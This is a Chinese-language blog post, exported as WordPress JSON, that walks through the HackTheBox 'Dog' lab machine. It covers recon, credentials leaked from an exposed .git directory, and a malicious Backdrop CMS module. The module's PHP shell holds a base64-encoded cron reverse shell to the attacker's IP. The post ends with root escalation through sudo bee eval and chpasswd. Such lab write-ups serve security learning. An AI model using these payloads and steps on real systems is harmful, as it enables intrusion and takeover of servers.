{"id":238,"date":"2025-03-12T10:49:52","date_gmt":"2025-03-12T02:49:52","guid":{"rendered":"https:\/\/www.misaka19008-lab.icu\/?p=238"},"modified":"2026-01-29T16:16:16","modified_gmt":"2026-01-29T08:16:16","slug":"238","status":"publish","type":"post","link":"https:\/\/www.misaka19008-lab.icu\/index.php\/2025\/03\/12\/238\/","title":{"rendered":"HTB\u9776\u673a Dog \u6e17\u900f\u6d4b\u8bd5\u8bb0\u5f55"},"content":{"rendered":"<hr \/>\n<h1>\u76ee\u6807\u4fe1\u606f<\/h1>\n<blockquote><p><strong>IP\u5730\u5740\uff1a<\/strong><code><strong>10.10.11.58<\/strong><\/code><\/p><\/blockquote>\n<hr \/>\n<h1>\u4fe1\u606f\u6536\u96c6<\/h1>\n<h2>ICMP\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\">PING 10.10.11.58 (10.10.11.58) 56(84) bytes of data.\n64 bytes from 10.10.11.58: icmp_seq=1 ttl=63 time=303 ms\n64 bytes from 10.10.11.58: icmp_seq=2 ttl=63 time=296 ms\n64 bytes from 10.10.11.58: icmp_seq=3 ttl=63 time=296 ms\n64 bytes from 10.10.11.58: icmp_seq=4 ttl=63 time=305 ms\n\n--- 10.10.11.58 ping statistics ---\n4 packets transmitted, 4 received, 0% packet loss, time 3004ms\nrtt min\/avg\/max\/mdev = 295.968\/300.002\/304.530\/3.928 ms<\/code><\/pre>\n<p>\u653b\u51fb\u673a\u548c\u9776\u673a\u95f4\u7f51\u7edc\u8fde\u63a5\u6b63\u5e38\u3002<\/p>\n<h2>\u9632\u706b\u5899\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\"># Nmap 7.95 scan initiated Sun Mar  9 07:32:17 2025 as: \/usr\/lib\/nmap\/nmap -sF -p- --min-rate 3000 -oN fin_result.txt 10.10.11.58\nNmap scan report for 10.10.11.58\nHost is up (0.29s latency).\nAll 65535 scanned ports on 10.10.11.58 are in ignored states.\nNot shown: 65535 open|filtered tcp ports (no-response)\n\n# Nmap done at Sun Mar  9 07:33:04 2025 -- 1 IP address (1 host up) scanned in 46.99 seconds<\/code><\/pre>\n<p>\u65e0\u6cd5\u786e\u5b9a\u9776\u673a\u9632\u706b\u5899\u72b6\u6001\u3002<\/p>\n<h2>\u7f51\u7edc\u7aef\u53e3\u626b\u63cf<\/h2>\n<p><code><strong>TCP<\/strong><\/code><strong>\u7aef\u53e3\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.95 scan initiated Sun Mar  9 07:36:51 2025 as: \/usr\/lib\/nmap\/nmap -sT -sV -A -p- --min-rate 3000 -oN tcp_report.txt 10.10.11.58\nWarning: 10.10.11.58 giving up on port because retransmission cap hit (10).\nNmap scan report for 10.10.11.58\nHost is up (0.29s latency).\nNot shown: 65389 closed tcp ports (conn-refused), 144 filtered tcp ports (no-response)\nPORT   STATE SERVICE VERSION\n22\/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   3072 97:2a:d2:2c:89:8a:d3:ed:4d:ac:00:d2:1e:87:49:a7 (RSA)\n|   256 27:7c:3c:eb:0f:26:e9:62:59:0f:0f:b1:38:c9:ae:2b (ECDSA)\n|_  256 93:88:47:4c:69:af:72:16:09:4c:ba:77:1e:3b:3b:eb (ED25519)\n80\/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))\n|_http-server-header: Apache\/2.4.41 (Ubuntu)\n|_http-generator: Backdrop CMS 1 (https:\/\/backdropcms.org)\n|_http-title: Home | Dog\n| http-git: \n|   10.10.11.58:80\/.git\/\n|     Git repository found!\n|     Repository description: Unnamed repository; edit this file 'description' to name the...\n|_    Last commit message: todo: customize url aliases.  reference:https:\/\/docs.backdro...\n| http-robots.txt: 22 disallowed entries (15 shown)\n| \/core\/ \/profiles\/ \/README.md \/web.config \/admin \n| \/comment\/reply \/filter\/tips \/node\/add \/search \/user\/register \n|_\/user\/password \/user\/login \/user\/logout \/?q=admin \/?q=comment\/reply\nDevice type: general purpose\nRunning: Linux 5.X\nOS CPE: cpe:\/o:linux:linux_kernel:5\nOS details: Linux 5.0 - 5.14\nNetwork Distance: 2 hops\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nTRACEROUTE (using proto 1\/icmp)\nHOP RTT       ADDRESS\n1   288.23 ms 10.10.14.1\n2   288.38 ms 10.10.11.58\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Sun Mar  9 07:37:54 2025 -- 1 IP address (1 host up) scanned in 64.09 seconds<\/code><\/pre>\n<p><code><strong>UDP<\/strong><\/code><strong>\u7aef\u53e3\u5f00\u653e\u5217\u8868\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.95 scan initiated Sun Mar  9 07:54:13 2025 as: \/usr\/lib\/nmap\/nmap -sU -p- --min-rate 3000 -oN udp_ports.txt 10.10.11.58\nWarning: 10.10.11.58 giving up on port because retransmission cap hit (10).\nNmap scan report for 10.10.11.58\nHost is up (0.31s latency).\nAll 65535 scanned ports on 10.10.11.58 are in ignored states.\nNot shown: 65290 open|filtered udp ports (no-response), 245 closed udp ports (port-unreach)\n\n# Nmap done at Sun Mar  9 07:58:16 2025 -- 1 IP address (1 host up) scanned in 243.35 seconds<\/code><\/pre>\n<p><code><strong>UDP<\/strong><\/code><strong>\u7aef\u53e3\u8be6\u7ec6\u4fe1\u606f\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\">\uff08\u65e0\uff09<\/code><\/pre>\n<p>\u540c\u65f6\u53d1\u73b0\u9776\u673a\u64cd\u4f5c\u7cfb\u7edf\u4e3a<code>Ubuntu Linux<\/code>\uff0c\u6839\u636e<code>HackTheBox<\/code>\u89c4\u5219\uff0c\u9776\u673a<code>Web<\/code>\u670d\u52a1\u4e3b\u57df\u540d\u5e94\u5f53\u4e3a<code>dog.htb<\/code>\u3002<\/p>\n<hr \/>\n<h1>\u670d\u52a1\u63a2\u6d4b<\/h1>\n<h2>SSH\u670d\u52a1\uff0822\u7aef\u53e3\uff09<\/h2>\n<p>\u7aef\u53e3<code>Banner<\/code>\uff1a<\/p>\n<pre><code class=\"language-shell\">\u250c\u2500\u2500(root\u327fmisaka19008)-[\/home\/megumin\/Documents\/pentest_notes\/dog]\n\u2514\u2500# nc -nv 10.10.11.58 22                                     \n(UNKNOWN) [10.10.11.58] 22 (ssh) open\nSSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.12<\/code><\/pre>\n<h2>Web\u5e94\u7528\u7a0b\u5e8f\uff0880\u7aef\u53e3\uff09<\/h2>\n<p>\u6253\u5f00\u4e3b\u9875\uff1a<code>http:\/\/dog.htb\/<\/code><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1741737384453-f65431b6-eedf-4f5b-917e-8b991d9cb79d.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u9776\u673a\u90e8\u7f72\u4e86<code>BackDrop CMS<\/code>\u5185\u5bb9\u7ba1\u7406\u7cfb\u7edf\uff0c\u7248\u672c\u4e3a<code>v1.x<\/code>\u3002\u70b9\u51fb<code>Login<\/code>\u94fe\u63a5\uff0c\u8df3\u8f6c\u81f3\u4e86\u767b\u5f55\u9875\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1741742340282-d63f2855-81f4-4026-ab0d-3287375c1759.png\" alt=\"\" \/><\/p>\n<p>\u6839\u636e<code>Nmap<\/code>\u626b\u63cf\u8bb0\u5f55\uff0c\u53d1\u73b0<code>Web<\/code>\u7f51\u9875\u6839\u76ee\u5f55\u5185\u542b\u6709<code>\/.git<\/code>\u76ee\u5f55\uff0c\u5b58\u5728<code>Git<\/code>\u6e90\u4ee3\u7801\u6cc4\u9732\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1741737522685-6ff5def0-38ef-4b3c-a1ea-7f403b6b953a.png\" alt=\"\" \/><\/p>\n<p>\u76f4\u63a5\u4f7f\u7528<code>GitHack<\/code>\u5de5\u5177\u4e0b\u8f7d\uff1a<a href=\"https:\/\/github.com\/lijiejie\/GitHack\" target=\"_blank\"  rel=\"nofollow\" >lijiejie\/GitHack: A <code>.git<\/code> folder disclosure exploit<\/a><\/p>\n<pre><code class=\"language-shell\">\/home\/megumin\/Documents\/Programs\/GitHack\/GitHack.py \"http:\/\/dog.htb\/.git\/\"<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1741740053034-7098115f-18b6-4cfa-a157-03a0b27cae16.png\" alt=\"\" \/><\/p>\n<p>\u4e0b\u8f7d\u6210\u529f\uff01<\/p>\n<p>\u540c\u65f6\u8054\u7f51\u67e5\u8be2\u8be5<code>CMS<\/code>\u6f0f\u6d1e\uff0c\u53d1\u73b0<code>BackDrop CMS v1.27.1<\/code>\u5b58\u5728\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1741740517666-0a97f08d-6478-4888-bb3f-52d8faedadb0.png\" alt=\"\" \/><\/p>\n<hr \/>\n<h1>\u6e17\u900f\u6d4b\u8bd5<\/h1>\n<h2>\u5bc6\u7801\u6cc4\u9732\u767b\u5f55CMS\u540e\u53f0<\/h2>\n<p>\u6210\u529f\u4e0b\u8f7d<code>Git<\/code>\u5185\u7684<code>CMS<\/code>\u6e90\u7801\u540e\uff0c\u6211\u4eec\u5c1d\u8bd5\u5728\u6e90\u7801\u5185\u641c\u96c6\u654f\u611f\u4fe1\u606f\u3002<\/p>\n<p>\u9996\u5148\u67e5\u770b<code>settings.php<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1741741820347-70083a57-7a75-4092-8732-b0871e9c715c.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u53d1\u73b0\u5982\u4e0b\u51ed\u636e\uff1a<\/p>\n<ul>\n<li>\u4e3b\u673a\uff1a\u672c\u5730\u670d\u52a1\u5668<\/li>\n<li>\u7528\u6237\u540d\uff1a<code>root<\/code><\/li>\n<li>\u5bc6\u7801\uff1a<code>BackDropJ2024DS2024<\/code><\/li>\n<li>\u6570\u636e\u5e93\uff1a<code>backdrop<\/code><\/li>\n<\/ul>\n<p>\u63a5\u7740\u67e5\u770b<code>files<\/code>\u6587\u4ef6\u5939\uff0c\u5728\u8be5\u6587\u4ef6\u5939\u5185\u53d1\u73b0\u5b50\u76ee\u5f55<code>.\/config_83dddd18e1ec67fd8ff5bba2453c7fb3\/active\/<\/code>\uff0c\u8be5\u5b50\u76ee\u5f55\u5b58\u5728\u5927\u91cf<code>JSON<\/code>\u6587\u4ef6\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1741742060457-e36b60d3-6439-432c-888e-e278483bf72d.png\" alt=\"\" \/><\/p>\n<p>\u63a8\u6d4b\u8fd9\u4e9b<code>JSON<\/code>\u6587\u4ef6\u4e2d\u5b58\u5728\u4e00\u4e9b\u5173\u4e8e\u7528\u6237\u7684\u4fe1\u606f\u3002\u9010\u4e2a\u6253\u5f00\u67e5\u770b\uff0c\u5728<code>update.settings.json<\/code>\u6587\u4ef6\u4e2d\u53d1\u73b0\u4e86\u4e00\u4e2a\u53ef\u7591\u7684\u7535\u5b50\u90ae\u7bb1\uff1a<code>tiffany@dog.htb<\/code><\/p>\n<pre><code class=\"language-json\">{\n    \"_config_name\": \"update.settings\",\n    \"_config_static\": true,\n    \"update_cron\": 1,\n    \"update_disabled_extensions\": 0,\n    \"update_interval_days\": 0,\n    \"update_url\": \"\",\n    \"update_not_implemented_url\": \"https:\/\/github.com\/backdrop-ops\/backdropcms.org\/issues\/22\",\n    \"update_max_attempts\": 2,\n    \"update_timeout\": 30,\n    \"update_emails\": [\n        \"tiffany@dog.htb\"\n    ],\n    \"update_threshold\": \"all\",\n    \"update_requirement_type\": 0,\n    \"update_status\": [],\n    \"update_projects\": []\n}<\/code><\/pre>\n<p>\u56e0\u4e3a\u90ae\u7bb1\u6839\u57df\u540d\u4e3a<code>dog.htb<\/code>\uff0c\u63a8\u6d4b<code>CMS<\/code>\u5b58\u5728\u7528\u6237<code>tiffany<\/code>\u3002<\/p>\n<p>\u7ed3\u5408\u4e4b\u524d\u53d1\u73b0\u7684\u6570\u636e\u5e93\u51ed\u636e\uff0c\u51b3\u5b9a\u5c1d\u8bd5\u4f7f\u7528\u5982\u4e0b\u51ed\u636e\u767b\u5f55<code>CMS<\/code>\u540e\u53f0\uff1a<\/p>\n<ul>\n<li>\u7528\u6237\u540d\uff1a<code>tiffany<\/code><\/li>\n<li>\u5bc6\u7801\uff1a<code>BackDropJ2024DS2024<\/code><\/li>\n<\/ul>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1741742427329-30cd151d-220c-4f12-8248-1f3d484a9887.png\" alt=\"\" \/><\/p>\n<p>\u767b\u5f55\u6210\u529f\uff01<\/p>\n<h2>\u4e0a\u4f20\u6076\u610f\u63d2\u4ef6\u6267\u884c\u4efb\u610f\u4ee3\u7801<\/h2>\n<p>\u767b\u5f55\u540e\u53f0\u4e4b\u540e\uff0c\u7ffb\u770b\u540e\u53f0\u529f\u80fd\uff0c\u5728<code>Home -&gt; Administration -&gt; Functionality -&gt; Install New Modules -&gt; Manual installation<\/code>\u9875\u9762\u5185\u53d1\u73b0\u4e0a\u4f20<code>CMS<\/code>\u63d2\u4ef6\u7684\u529f\u80fd\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1741742712885-58bf6dc1-1706-4098-81e6-cec8f937e872.png\" alt=\"\" \/><\/p>\n<p>\u6839\u636e\u5728\u670d\u52a1\u63a2\u6d4b\u9636\u6bb5\u53d1\u73b0\u7684<code>EXP<\/code>\u811a\u672c\u4e2d\u7684\u5185\u5bb9\uff0c\u5236\u4f5c\u6076\u610f\u63d2\u4ef6\u538b\u7f29\u5305\u3002\u9996\u5148\u521b\u5efa\u6587\u4ef6\u5939<code>sparkle<\/code>\uff0c\u968f\u540e\u5728\u8be5\u6587\u4ef6\u5939\u5185\u521b\u5efa\u4e24\u4e2a\u6587\u4ef6\uff1a<code>sparkle.info<\/code>\u548c<code>sparkle.php<\/code>\u3002<\/p>\n<p>\u9996\u5148\u7f16\u5199<code>sparkle.info<\/code>\u6587\u4ef6\uff0c\u8be5\u6587\u4ef6\u4e3a<code>BackDrop CMS<\/code>\u63d2\u4ef6\u7684\u4ecb\u7ecd\u4fe1\u606f\uff1a<\/p>\n<pre><code class=\"language-plain\">type = module\nname = sparkle\ndescription = sparkle\npackage = Layouts\ntags[] = Blocks\ntags[] = Site Architecture\nversion = BACKDROP_VERSION\nbackdrop = 1.x\n\nconfigure = admin\/structure\/block\n\n; Added by Backdrop CMS packaging script on 2024-03-07\nproject = backdrop\nversion = 1.27.1\ntimestamp = 1709862662<\/code><\/pre>\n<p>\u968f\u540e\u7f16\u5199\u7f51\u9875\u6728\u9a6c<code>sparkle.php<\/code>\uff0c\u8be5\u811a\u672c\u5c06\u4f5c\u4e3a\u6076\u610f\u63d2\u4ef6<code>sparkle<\/code>\u7684\u4e3b\u7a0b\u5e8f\uff0c\u4f5c\u7528\u4e3a\u6dfb\u52a0\u53cd\u5f39<code>Shell<\/code>\u5230\u653b\u51fb\u673a\u7684\u8ba1\u5212\u4efb\u52a1\uff1a<\/p>\n<pre><code class=\"language-php\">&lt;?php\n    system(base64_decode(\"ZWNobyAiKi8xICogKiAqICogL2Jpbi9iYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjE5LzQ0MyAwPiYxJyIgfCBjcm9udGFi\"));\n    system(\"crontab -l\");\n    die(\"&lt;br&gt;&lt;hr&gt;Hello. hello, I'm sparkle!\");\n?&gt;<\/code><\/pre>\n<p>\u968f\u540e\u5c06\u6574\u4e2a<code>sparkle<\/code>\u6587\u4ef6\u5939\u6dfb\u52a0\u5230\u65b0\u5efa\u7684<code>sparkle.tar<\/code>\u538b\u7f29\u5305\u5185\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1741743475831-21dca154-e10f-4c62-b7b2-c9c7727a0fd2.png\" alt=\"\" \/><\/p>\n<p>\u7136\u540e\u4f7f\u7528\u5982\u4e0b\u547d\u4ee4\u542f\u52a8<code>NetCat<\/code>\u76d1\u542c\uff1a<\/p>\n<pre><code class=\"language-shell\">rlwrap nc -l -p 443 -s 10.10.14.19<\/code><\/pre>\n<p>\u76d1\u542c\u5f00\u542f\u540e\uff0c\u4e0a\u4f20\u5e76\u5b89\u88c5\u6076\u610f\u63d2\u4ef6\u538b\u7f29\u5305\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1741743618111-3e55e4cd-522d-48f7-9886-591935a0a063.png\" alt=\"\" \/><\/p>\n<p>\u63d2\u4ef6\u5b89\u88c5\u6210\u529f\uff01\u63a5\u4e0b\u6765\u76f4\u63a5\u8bbf\u95ee\uff1a<code>http:\/\/dog.htb\/modules\/sparkle\/sparkle.php<\/code><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1741743833189-3593ce48-993b-4a6c-b093-7c688779fa65.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u6dfb\u52a0\u6076\u610f\u8ba1\u5212\u4efb\u52a1\uff01\u7b49\u5f85\u4e00\u5206\u949f\u540e\uff0c\u6210\u529f\u6536\u5230\u53cd\u5f39<code>Shell<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1741745621830-0da80380-255b-4696-89df-3676aca19070.png\" alt=\"\" \/><\/p>\n<hr \/>\n<h1>\u6743\u9650\u63d0\u5347<\/h1>\n<h2>\u79fb\u52a8\u81f3johncusack\u7528\u6237<\/h2>\n<p>\u8fdb\u5165\u7cfb\u7edf\u540e\uff0c\u5c1d\u8bd5\u67e5\u770b\u7cfb\u7edf\u5185\u7684\u7528\u6237\uff1a<\/p>\n<pre><code class=\"language-shell\">cat \/etc\/passwd | grep \"\/bin\/bash\"<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1741746289972-abb4f42e-878e-4eef-afdf-144158357682.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u53d1\u73b0<code>johncusack<\/code>\u548c<code>robert<\/code>\u7528\u6237\uff01<\/p>\n<p>\u5c1d\u8bd5\u4f7f\u7528\u4e4b\u524d\u53d1\u73b0\u7684<code>CMS<\/code>\u7528\u6237\u5bc6\u7801\u767b\u5f55<code>SSH<\/code>\uff1a<\/p>\n<ul>\n<li>\u7528\u6237\u540d\uff1a<code>johncusack<\/code><\/li>\n<li>\u5bc6\u7801\uff1a<code>BackDropJ2024DS2024<\/code><\/li>\n<\/ul>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1741746449931-f855807c-4e63-4352-ba11-72f7658d7d3a.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\uff01<\/p>\n<h2>Sudo\u547d\u4ee4\u63d0\u6743<\/h2>\n<p>\u767b\u5f55\u81f3<code>johncusack<\/code>\u7528\u6237\u540e\uff0c\u5c1d\u8bd5\u67e5\u770b\u5f53\u524d\u7528\u6237<code>Sudo<\/code>\u6743\u9650\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1741746531873-5b1704db-73bc-428f-ae4f-3558870be846.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u5f53\u524d\u7528\u6237\u53ef\u4ee5\u4ee5\u4efb\u610f\u7528\u6237\u8eab\u4efd\u8fd0\u884c<code>\/usr\/local\/bin\/bee<\/code>\u7a0b\u5e8f\u3002<\/p>\n<p>\u5c1d\u8bd5\u6267\u884c\uff1a<\/p>\n<pre><code class=\"language-shell\">sudo bee<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1741746663627-2a2cc2c9-60b3-4409-8129-f374f46ffdc7.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u8be5\u7a0b\u5e8f\u4e3a<code>BackDrop CMS<\/code>\u5b89\u88c5\u914d\u7f6e\u7a0b\u5e8f\u3002\u9605\u8bfb\u547d\u4ee4\u5e2e\u52a9\u4fe1\u606f\uff0c\u53d1\u73b0\u4e86\u7528\u4e8e\u6267\u884c\u4efb\u610f<code>PHP<\/code>\u4ee3\u7801\u7684<code>eval<\/code>\u53c2\u6570\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1741746785416-f23774bb-e5d8-4f21-b507-624214840903.png\" alt=\"\" \/><\/p>\n<p>\u5c1d\u8bd5\u6267\u884c<code>bee<\/code>\u547d\u4ee4\uff0c\u5e26<code>eval<\/code>\u53c2\u6570\uff1a<\/p>\n<pre><code class=\"language-shell\">sudo bee eval --code \"system('id');\"<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1741746887487-ff5716e3-e71c-499a-a4b9-020e0b5a10b0.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u8fd4\u56de\u4e86\u9519\u8bef\u4fe1\u606f\uff0c\u63d0\u793a\u542f\u52a8\u73af\u5883\u5f02\u5e38\u3002\u7ecf\u8fc7\u4e00\u756a\u601d\u8003\uff0c\u63a8\u6d4b\u8be5\u7a0b\u5e8f\u5f15\u7528\u4e86<code>BackDrop CMS<\/code>\u4ee3\u7801\u4e2d\u7684\u4e00\u4e9b\u5185\u5bb9\uff0c\u51b3\u5b9a\u5207\u6362\u81f3<code>Web<\/code>\u5e94\u7528\u6839\u76ee\u5f55\u540e\uff0c\u518d\u6267\u884c\u4e0a\u9762\u7684\u547d\u4ee4\uff1a<\/p>\n<pre><code class=\"language-shell\">cd \/var\/www\/html\nsudo bee eval --code \"system('id');\"<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1741747078777-5bdb0810-24e3-49bd-ad0a-e7534a8260c7.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u4f7f\u7528<code>bee<\/code>\u7a0b\u5e8f\u6267\u884c\u547d\u4ee4\uff01\u63a5\u4e0b\u6765\uff0c\u6267\u884c\u4fee\u6539<code>root<\/code>\u8d26\u6237\u5bc6\u7801\u7684\u547d\u4ee4\uff1a<\/p>\n<pre><code class=\"language-shell\">sudo bee eval --code \"system(base64_decode('ZWNobyAicm9vdDpBc2QzMTAwNTYiIHwgY2hwYXNzd2Q='));\"<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1741747250501-52cbb668-5432-47dc-9df8-169ca17a93a7.png\" alt=\"\" \/><\/p>\n<p><strong>\u63d0\u6743\u6210\u529f\uff01\uff01\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>\u672c\u6b21\u9776\u673a\u6e17\u900f\u5230\u6b64\u7ed3\u675f<\/h1>\n<hr \/>\n","protected":false},"excerpt":{"rendered":"<p>\u76ee\u6807\u4fe1\u606f IP\u5730\u5740\uff1a10.10.11.58 \u4fe1\u606f\u6536\u96c6 ICMP\u68c0\u6d4b PING 10.10.11.58 (10.10.11.58)  &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[3,14],"tags":[],"class_list":["post-238","post","type-post","status-publish","format-standard","hentry","category-htb_retired","category-linux_machines"],"_links":{"self":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/238","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/comments?post=238"}],"version-history":[{"count":1,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/238\/revisions"}],"predecessor-version":[{"id":239,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/238\/revisions\/239"}],"wp:attachment":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/media?parent=238"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/categories?post=238"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/tags?post=238"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}